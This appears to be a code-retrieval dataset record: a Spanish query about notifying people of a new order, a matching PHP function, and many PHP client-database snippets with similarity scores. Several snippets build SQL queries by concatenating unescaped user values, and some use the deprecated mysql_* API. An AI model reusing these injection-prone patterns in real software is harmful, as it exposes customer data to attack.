id_tipo_cliente=$id_tipo_cliente\";\n\t$r=$db->query($q);\n\tif (!$r) {\n\t\treturn \"Dato Assente\";\n\t}else{\n\t\t$ro= mysql_fetch_array($r);\n\t\treturn $ro['nome'];\n\t}\n}", "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function obtenidcliente($rfc){\n\t$funcbase = new dbutils;\n/*** conexion a bd ***/\n $mysqli = $funcbase->conecta();\n if (is_object($mysqli)) {\n\t\t$req = \"SELECT idclientes FROM clientes WHERE rfc = '\" \n \t.$rfc.\"'\"; \n \n \t\t$idcliente = $mysqli->query($req)->fetch_object()->idclientes;\n } else {\n die (\"<h1>'No se establecio la conexion a bd'</h1>\");\n }\n\t\t\n /* liberar la serie de resultados */\n /* cerrar la conexion */\n\t mysqli_close($mysqli);\n\t\t\n\treturn $idcliente;\n}", "public function buscar_cliente1()\n\t\t{\n\t\t\t$sql =\"SELECT nom_empresa, razon_social FROM empresas\";\t\n\t\t\t$query = $this->db->query($sql);\n\t\t\treturn $query->result();\n\t\t}", "public function cliente($cliente)\n {\n $sentencia = \"SELECT clNumReporte from tsreportebocadetubo WHERE cacliente_clCliente = :cliente ORDER BY id DESC LIMIT 1\";\n try {\n $stm = $this->db->prepare($sentencia);\n $stm->bindValue(':cliente', $cliente);\n $stm->execute();\n $registros = $stm->fetchAll(PDO::FETCH_OBJ);\n\n return $registros;\n } catch (Exception $e) {\n echo \"$e->getMessage()\";\n }\n }", "function loadClienteForm(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_GET';//'\n\t\t$this->tipo_procedimiento='IME';//tipo de transaccion\n\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t$this->captura('v_valor','varchar');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('nombre_completo1','text');\n\t\t$this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t/*$this->captura('v_id_cliente','int4');\n\t\t$this->captura('v_genero','varchar');\n\t\t$this->captura('v_ci','varchar');\n\t\t$this->captura('v_email','varchar');\n\t\t$this->captura('v_direccion','varchar');\n\t\t$this->captura('v_celular','varchar');\n\t\t$this->captura('v_nombre','varchar');\n\t\t$this->captura('v_lugar_expedicion','varchar');\n\t\t$this->captura('v_apellido_paterno','varchar');\n\t\t$this->captura('v_telefono','varchar');\n\t\t$this->captura('v_ciudad_residencia','varchar');\n\t\t$this->captura('v_id_pais_residencia','int4');\n\t\t$this->captura('v_nacionalidad','varchar');\n\t\t$this->captura('v_barrio_zona','varchar');\n\t\t//$this->captura('estado_reg','varchar');\n\t\t$this->captura('v_apellido_materno','varchar');\n\t\t//$this->captura('id_usuario_ai','int4');\n\t\t//$this->captura('fecha_reg','timestamp');\n\t\t//$this->captura('usuario_ai','varchar');\n\t\t//$this->captura('id_usuario_reg','int4');\n\t\t//$this->captura('fecha_mod','timestamp');\n\t\t//$this->captura('id_usuario_mod','int4');\n\t\t//$this->captura('usr_reg','varchar');\n\t\t//$this->captura('usr_mod','varchar');\n\n\t\t$this->captura('v_completo','text');\n\t\t$this->captura('v_nombre_completo2','text');\n\t\t$this->captura('v_pais_residencia','varchar');*/\n\t\t//$this->captura('nombre','varchar');\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getcontaccliente($ccliente) {\n \n $sql = \"select ccontacto, (dapepat+' '+dapemat+' '+dnombre) as 'dcontacto'\n from mcontacto \n where ccliente = '\".$ccliente.\"'\n order by dcontacto;\";\n\t\t$query = $this->db->query($sql);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"%\" selected=\"selected\">::Elegir</option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->ccontacto.'\">'.$row->dcontacto.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function get_client($id_cliente)\n {\n $conexao = open_database_connection();\n\n $id = mysql_real_escape_string($id_cliente);\n\n $query = 'SELECT nome_cliente FROM cliente WHERE id_cliente = '.$id;\n\n $result = mysql_query($query);\n $row = mysql_fetch_assoc($result);\n\n close_database_connection($conexao);\n\n return $row;\n }", "function getSorpresa(){\r\n return $this->sorpresa;\r\n }", "public function getClient()\n {\n return $this->neo;\n }", "public function listadoPedidos(){\n $pedido=new Pedido();\n\n //Conseguimos todos los usuarios\n $allPedido=$pedido->getAll();\n print_r(json_encode($allPedido));\n //echo $allClientes\n }", "function obtenerCliente ($cedula){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente where cedula = ?');\n\t\t$x->execute(array($cedula));\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public static function getClient($id){\r\n if(!empty($_GET['id'])){\r\n $id = $_GET['id'];\r\n }\r\n $dados = Client::select()->where('id', $id)->one();\r\n // print_r($dadosFun);exit;\r\n \r\n // transformar o resultado em objetos dos models\r\n if(count($dados) > 0){\r\n $viewClient = new Client();\r\n $viewClient->id = $dados['id'];\r\n $viewClient->email = $dados['email'];\r\n $viewClient->name = $dados['name'];\r\n $viewClient->service = $dados['service'];\r\n $viewClient->phone = $dados['phone'];\r\n $viewClient->comment = $dados['comment'];\r\n $viewClient->rg = $dados['rg'];\r\n $viewClient->cpf = $dados['cpf'];\r\n $viewClient->photo_client = $dados['photo_client'];\r\n $viewClient->extract = $dados['extract'];\r\n $viewClient->residence = $dados['residence'];\r\n $viewClient->mirror = $dados['mirror'];\r\n $viewClient->printzap = $dados['printzap'];\r\n $viewClient->id_user = $dados['id_user'];\r\n $viewClient->name_user = $dados['name_user'];\r\n\r\n return $viewClient;\r\n }\r\n }", "public function loadCliente(){ \n if(!empty($this->mod_cli->CargarCliente())){\n\t\t\t$datos=$this->mod_cli->CargarCliente();\n\t\t\t //print_r($datos);\n\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t}else{\n\t\t\t\t$datos=[];\n\t\t\t\trequire_once \"views/Clientes/cliente/Frm_Clientes_Datos.php\";\n\t\t\t}\n //print_r($datos); \n }", "public function getCodServico()\n {\n return $this->cod_servico;\n }", "function leerCreditos(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idcredito, t.NombreCte,c.tipoContrato, c.montoTotal, c.plazo,c.mensualidad, c.interes,\"\n . \" c.metodoPago, c.observaciones, c.status FROM tarjetas_clientes t join credito c on t.idClienteTg=c.cteId where c.status=1 or c.status=3\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getCliente($id_zootecnico){\n\t\t$this->db->select('c.id_cliente, c.nombre, c.ap_paterno, c.ap_materno');\n\t\t$this->db->from('asignacion_cliente_z cz, zootecnico z, cliente c');\n\t\t$this->db->where('cz.id_cliente = c.id_cliente');\n\t\t$this->db->where('cz.id_zootecnico = z.id_zootecnico');\n\t\t$this->db->where('z.id_zootecnico', $id_zootecnico);\n\t\t$s = $this->db->get();\n\t\treturn $s->result();\n\t}", "function opzioni_cliente($id_tipo_cliente=\"\", $id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$visualizza =\"<a href=\\\"cliente_show.php?id_cli=\".$id_cli.\"\\\"><img src=\\\"images/cliente_dati.gif\\\" title=\\\"Visualizza Dati Cliente\\\"/></a>\";\n\t$opzione =\"<a href=\\\"popup_immobili.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_immobili.gif\\\" title=\\\"Mostra Immobile/i del cliente\\\"/></a>\";\n\t$str=\"\";\n\n\tswitch ($id_tipo_cliente) {\n\t\t\n\t\tcase 1: // acquirente\n\t\t\t//$opzione =\"<a href=\\\"popup_richieste.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_richieste.gif\\\" title=\\\"Mostra Richiesta/e del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"immobile_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_richieste.gif\\\" title=\\\"Mostra Immobili Affini alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 2: // venditore\n\t\t\t//$richieste = \"<a href=\\\"richieste_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_vendo.gif\\\" title=\\\"Mostra Richieste Correlate all'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 3: // affittuario\n\t\t\t$richieste = \"<a href=\\\"affittuario_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_affittuario.gif\\\" title=\\\"Mostra persone disposte ad acquistare l'immobile del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t\t//$str.=$opzione;\n\t\t\tbreak;\n\t\tcase 4: // cerca affitto\n\t\t//\t$opzione =\"<a href=\\\"popup_affitti.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_popup_affitti.gif\\\" title=\\\"Mostra Richieste di affitti del cliente\\\"/></a>\";\n\t\t//\t$richieste = \"<a href=\\\"affitti_cerca.php?id_cli=\".$id_cli.\"\\\"><img class=\\\"cliente_opzioni\\\" src=\\\"images/cliente_cerco_affitti.gif\\\" title=\\\"Mostra gli immobili in affitto adatti alle richieste del cliente\\\"/></a>\";\n\t\t\t$str.= $visualizza;\n\t\t//\t$str.= $richieste;\n\t\t//\t$str.=$opzione;\n\t\t\tbreak;\n\t\n\t\tdefault:\n\t\t\t$str.= $visualizza;\n\t\t\t\n\t\t\tbreak;\n\t}\n\treturn $str;\n}", "public function cliente()\n {\n return $this->belongsTo('App\\Models\\ClienteModel', 'id_cliente');\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getIdClient()\n {\n return $this->idClient;\n }", "public function getClient(){ return UserData::getById($this->client_id); }", "public function primerCliente($id_usuario,$nombreE,$rfcE,$cpE,$correo1E,$observacionesE,$fijo,$logo){\r\n\t\t$sql = \"INSERT INTO tbl_clientesclientes (id_usuario,logo,nombreE,rfcE,cpE,correo1E,observacionesE,estatus,fijo)VALUES('$id_usuario','$logo','$nombreE','$rfcE','$cpE','$correo1E','$observacionesE','1','$fijo')\";\r\n return ejecutarConsulta($sql); \t\r\n\t}", "function afficherclients(){\r\n\t\t$sql=\"SElECT * From clients\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e){\r\n die('Erreur: '.$e->getMessage());\r\n }\t\r\n\t}", "public function cliente()\n\t{\n\t\treturn $this->belongsTo(Cliente::class);\n\t}", "function scheda_cliente($id_cli=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t$str=\"\";\n\tif (isset($id_cli)) {\n\t\t$q=\"SELECT * FROM cliente WHERE id_cli=$id_cli\";\n\t\t$r=$db->query($q);\n\t\t$ro=mysql_fetch_array($r);\n\t\t\n\t\t$str.= \"<div class=\\\"clienti\\\">\";\n\t\t$str.= \"<TABLE id=\\\"clienti1\\\">\\n\";\n\t\t$str.=\"<tr>\\n\";\n\t\t$str.=\"<td colspan=\\\"3\\\" class=\\\"clienti_header_top\\\">\\n\";\n\t\t$str.=\"Dati cliente \".nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</td>\\n\";\n\t\t$str.=\"</tr>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Nominativo\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.=\"<a href=\\\"cliente_show.php?id_cli=\";\n\t\t$str.= $ro['id_cli'];\n\t\t$str.=\"\\\">\";\n\t\t$str.= nominativo_stampa($ro['id_cli']);\n\t\t$str.=\"</a>\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Tipo di Cliente\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= tipo_cliente($ro['id_tipo_cliente']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"E-Mail\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['email'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Codice Fiscale\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['codfisc'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Citt&agrave;\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= citta_stampa($ro['id_citta']);\n\t\t\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Via\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['via'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Fisso\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_fisso'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Cellulare\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_mobile'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Note\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['nota'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Inserito Da\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= idUtenteToNome($ro['id_utente_ins']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"</TABLE>\";\n\t\t\n\t\t$str.=\"</div>\";\n\n\t}\n\telse {\n\t\t$str.=\"<center>Nessun Cliente selezionato</center>\";\n\t}\n\treturn $str;\n}", "public function cliente() {\r\n\t\treturn $this->belongsTo('App\\Cliente');\r\n\t}", "public static function getClient($id){\n return (new Database('cliente'))->select('id = '.$id)->fetchObject(self::class);\n }", "public function getClient()\r\n {\r\n \t$this->db->from('vclient');\r\n \t$query = $this->db->get();\r\n \treturn $query->result();\r\n\r\n }", "public function comClientes(Request $request)\n {\n $cliente = Cliente::pluck('name', 'nombre', 'apellido1');\n return $cliente;\n }", "public function getIndirizzoClinica() {\r\n\r\n return $this->_via . \" \" . $this->_numeroCivico . \" \" . $this->_localita . \" \" . $this->_provincia;\r\n }", "public function getCedente() {\n return $this->oCedente;\n }", "public function getEmailCliente($clioid) {\r\n\r\n $clioid = $clioid ? $clioid : \"NULL\";\r\n\r\n $sql = \"SELECT Coalesce(prehemail_cliente, cliemail) AS prehemail_cliente\r\n FROM clientes\r\n left JOIN pre_rescisao\r\n ON presclioid = clioid \r\n LEFT JOIN pre_rescisao_hist \r\n ON prehpresoid = presoid \r\n WHERE clioid = $clioid \r\n ORDER BY prehdata DESC \r\n LIMIT 1\";\r\n\r\n $result = $this->_fetchAssoc(pg_query($this->_adapter, $sql));\r\n\r\n return $result ? $result['prehemail_cliente'] : ''; \r\n }" ]
[ "0.739257", "0.72925794", "0.7164855", "0.712227", "0.71154654", "0.70910746", "0.70649344", "0.7041795", "0.70335627", "0.70205545", "0.7004748", "0.69522804", "0.6882455", "0.68754077", "0.6823455", "0.6813117", "0.6778424", "0.6774241", "0.6763581", "0.67402273", "0.6739922", "0.6737381", "0.6736825", "0.6736825", "0.6736825", "0.6717356", "0.6716794", "0.6695683", "0.66816646", "0.66587675", "0.6622843", "0.6589045", "0.6583716", "0.6582419", "0.6551492", "0.6548168", "0.6544865", "0.65448153", "0.6534252", "0.6526265", "0.65118885", "0.65034205", "0.6490692", "0.648677", "0.64684075", "0.6463166", "0.6460962", "0.64603865", "0.6457899", "0.6450864", "0.64487207", "0.6414926", "0.6399935", "0.6393106", "0.6391259", "0.63810813", "0.63810813", "0.638099", "0.6366062", "0.6359253", "0.63545036", "0.6345407", "0.6337473", "0.6336078", "0.6320766", "0.63200986", "0.63179725", "0.629135", "0.628705", "0.62868047", "0.6285809", "0.628446", "0.62743425", "0.6264522", "0.62624377", "0.6261957", "0.6255847", "0.62544006", "0.6243144", "0.623429", "0.62309915", "0.6227609", "0.62239224", "0.6223314", "0.622068", "0.62111163", "0.62074596", "0.62045723", "0.62045723", "0.62037075", "0.6196971", "0.6186487", "0.6181145", "0.6169621", "0.6163024", "0.61465514", "0.61407286", "0.61407214", "0.6138614", "0.6135754", "0.61318207" ]
0.0
-1
Notifica ala gente de la creacion del pedido
function EnviaCorreoNotificadora($CardCode,$NumPedido, $Mensaje){ //obtiene el nombre del cliente que hizo el pedido if($this->con->conectar()==true){ $Resultado= mysql_query("SELECT `CardName` ,`SlpCode` ,`E_Mail` FROM `Cliente_Proveedores` WHERE `CardCode` = '" .$CardCode. "'"); if($Resultado) { $InfoCliente = mysql_fetch_array($Resultado); $CardName= $InfoCliente['CardName']; $SlpCode= $InfoCliente['SlpCode']; $E_Mail= $InfoCliente['E_Mail']; $this->EnviaCorreo($CardCode,$NumPedido,$CardName,$SlpCode,$E_Mail,$Mensaje); } else echo "No se encontradoros datos"; } //obtiene el agente que le corresponde ese cliente //envia el correo al cliente que hizo el correo y al cliente si es que tiene correo }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return 'can`t create ';\n }", "public function creating()\n {\n # code...\n }", "public function crear()\n {\n //\n }", "public function create()\n {\n echo 'Estoy en en create';\n }", "public function GenerarPedidoCrecer($refVenta)\r\n\t{\r\n\t\ttry\r\n\t\t{\r\n\t\t\t\r\n\t\t\t$fechaConfirmacion=date(\"m/d/Y h:m:s\" );\r\n\t\t\t\r\n\t\t\t//ACTUALIZAMOS EL ESTADO DE PEDIDO WEB A CONFIRMADO Y AGREGAMOS LA FECHA DE CONFIRMACION\r\n\t\t\t//$recordSett = &$this->conexion->conectarse()->Execute(\"\tUPDATE PedidoWeb\r\n\t\t\t//SET FechaRespuesta ='\".$fechaConfirmacion.\"', Estado = 1\r\n\t\t\t//WHERE (CodigoTransaccion = '\".$refVenta.\"' AND Estado = 3)\");\t\r\n\t\t\t\r\n\t\t\t//CREAMOS EL PEDIDO EN CRECER\r\n\t\t\t//1.OBTENEMOS LA INFORMACION DEL PEDIDO DESDE LA TABLA TEMPORAL\r\n\t\t\t\r\n\t\t\t//Id--0\r\n\t\t\t//CodigoTransaccion--1\r\n\t\t\t//IdPoliza--2\r\n\t\t\t//FechaCreacion--3\r\n\t\t\t//FechaRespuesta--4\r\n\t\t\t//NombreTitularFactura--5\r\n\t\t\t//DocumentoTitularFactura--6\r\n\t\t\t//DireccionTitularFactura--7\r\n\t\t\t//TelefonoTitularFactura--8\r\n\t\t\t//EmailTitularFactura--9\r\n\t\t\t//TelefonoContacto--10\r\n\t\t\t//TelefonoMovilContacto--11\r\n\t\t\t//DireccionContacto--12\r\n\t\t\t//NombreContactoEmergencia--13\r\n\t\t\t//ApellidoContactoEmergencia--14\r\n\t\t\t//TelefonoContactoEmergencia--15\r\n\t\t\t//EmailContactoEmergencia--16\r\n\t\t\t//Estado--17\r\n\t\t\t//FechaInicio--18\r\n\t\t\t//FechaFin--19\r\n\t\t\t//Precio--20\r\n\t\t\t//Region--21\r\n\t\t\t//TrmIata--22\t\t\t\r\n\t\t\t\r\n\t\t\t$pedidoWeb = &$this->conexion->conectarse()->Execute(\"SELECT Id, CodigoTransaccion, IdPoliza, FechaCreacion, FechaRespuesta, NombreTitularFactura, DocumentoTitularFactura, DireccionTitularFactura, TelefonoTitularFactura, EmailTitularFactura, TelefonoContacto, TelefonoMovilContacto, DireccionContacto, \r\n\t\t\tNombreContactoEmergencia, ApellidoContactoEmergencia, TelefonoContactoEmergencia, EmailContactoEmergencia,\r\n\t\t\t Estado, FechaInicio, FechaFin, Precio, Region, TrmIata \r\n\t\t\t FROM dbo.PedidoWeb\t\tWHERE CodigoTransaccion= '\".$refVenta.\"'\");\t\t\r\n\r\n\t\t\t//2.VALIDAMOS EL CLIENTE SI NO EXISTE CREAMOS EL CLIENTE Y SU CONTACTO.\t\t\t\r\n\t\t\t$existeCliente = &$this->conexion->conectarse()->Execute(\"SELECT DISTINCT Identificacion,Id FROM dbo.Empresas\r\n\t\t\tWHERE Identificacion='\".$pedidoWeb->fields[6].\"' \");\t\r\n\t\t\t\r\n\t\t\t$IdCliente=\"\";\r\n\t\t\t//CREAMOS EL CLIENTE NUEVO \r\n\t\t\tif($existeCliente->fields[0]==\"\"){\r\n\t\t\t\t\r\n\t\t\t\techo \"Entramos a creacion\";\r\n\t\t\t\t\r\n\t\t\t\t$IdCliente=$this->fun->NewGuid();\r\n\t\t\t\t$IdContacto=$this->fun->NewGuid();\r\n\t\t\t\t$IdPedido=$this->fun->NewGuid();\r\n\t\t\t\t$IdProductoCotizacion=$this->fun->NewGuid();\r\n\t\t\t\t$IdFactura=$this->fun->NewGuid();\t\t\t\t\r\n\t\t\t\t$grupo=2;//ASESORES\r\n\t\t\t\t$prioridad=2;\r\n\t\t\t\t$seguimiento=\"Creado desde el portal web \". $fechaConfirmacion.\"\\n\";\r\n\t\t\t\t$moneda=2;//DOLARES\r\n\t\t\t\t$viaContacto=2;//WEB\r\n\t\t\t\t$formaPago=1;\r\n\t\t\t\t//CREAMOS LA EMPRESA\r\n\t\t\t\t$crearCliente = &$this->conexion->conectarse()->Execute( \"INSERT INTO Empresas\r\n (Id, TipoEmpresa, Identificacion, Dv, RazonSocial, Antiguedad, Telefono, Fax, Direccion, Mail, Url, Ciudad, Departamento, Pais, Aniversario, TieneAniversario, \r\n FechaIngreso, IdActividadEconomica, Movil, Observaciones, SeguimientoHistorico, Estado, IdAsesor, RepresentanteLegal, IdTipoMonedaImportacion, \r\n TipoNacionalidad, IdEmpleadoModif, Imagen)\r\n\t\t\t\t\t\tVALUES ('\".$IdCliente.\"','N/A','\".$pedidoWeb->fields[6].\"','N','\".$pedidoWeb->fields[5].\"','0',\r\n\t\t\t\t\t\t'\".$pedidoWeb->fields[8].\"','0','\".$pedidoWeb->fields[7].\"','\".$pedidoWeb->fields[9].\"','-',NULL,NULL,\r\n\t\t\t\t\t\tNULL,NULL,NULL,'\".$fechaConfirmacion.\"',\r\n\t\t\t\t\t\tNULL,'\".$pedidoWeb->fields[11].\"','Ninguna',\r\n\t\t\t\t\t\tNULL,'0',NULL,'Ninguno',\r\n\t\t\t\t\t\t'2','false',NULL,\r\n\t\t\t\t\t\tNULL)\");\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS EL CLIENTE\r\n\t\t\t\t$crearCliente = &$this->conexion->conectarse()->Execute( \"INSERT INTO Clientes\r\n (Id, Ingreso, Inicio, Fin, CodigoSwift, IdTipoCliente, IdActividadEconomica)\r\n\t\t\t\tVALUES ('\".$IdCliente.\"','\".$fechaConfirmacion.\"','\".$fechaConfirmacion.\"',NULL,'0',NULL,'0')\");\r\n\t\t\t\t\r\n\t\t\t\t//NOTIFICAMOS DE LA COMPRA AL TITLULAR DE LA FACTURA\r\n\t\t\t\t/////////$this->fun->SendMailConfirmacionPago($pedidoWeb->fields[9], $pedidoWeb->fields[5], $pedidoWeb->fields[6]);\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS EL CONTACTO.\t\t\t\t\r\n\t\t\t\t$crearContacto= &$this->conexion->conectarse()->Execute(\"INSERT INTO Contactos(Id, Descripcion, Cargo, Direccion, Telefono, Extension, Celular, Fax, EmailEmpresa, EmailPersonal, Observacion, Cumpleanno, TieneCumpleanno, Estado)\r\n\t\t\t\tVALUES ('\".$IdContacto.\"','\".$pedidoWeb->fields[13].\" \".$pedidoWeb->fields[14].\"',NULL,NULL,'\".$pedidoWeb->fields[15].\"',NULL,NULL,NULL,'\".$pedidoWeb->fields[16].\"','\".$pedidoWeb->fields[16].\"',NULL,NULL,NULL,'true')\");\r\n\t\t\t\t\r\n\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\tVALUES ('\".$IdCliente.\"','\".$IdContacto.\"')\");\r\n\r\n\t\t\t\t//CREAMOS EL PEDIDO\r\n\t\t\t\t\r\n\t\t\t\t\t$crearPedido = &$this->conexion->conectarse()->Execute(\"INSERT INTO OrdenCompraCliente\r\n (Id, FechaElaboracion, IdCliente, IdPaisOrigen, IdSedeCliente, IdRegionDestino, IdContactoEmergencia, FechaSalida, FechaRegreso, CantidadPasajeros, IdContacto, \r\n Codigo, IdAutor, IdEmpleado, FechaModificacion, SubtotalSinDto, Subtotal, ValorIva, Total, Trm_dia, UtilidadSobreCosto, Estado, GrupoAsignado, Prioridad, \r\n Probabilidad, Observaciones, SeguimientoHistorico, FechaRecepcion, Moneda, FormaPago, TiempoEntrega, TiempoVigencia, Instalacion, \r\n IdEmpleadoModif, IdViadeContacto)\r\n\t\t\t\t\t\t\tVALUES 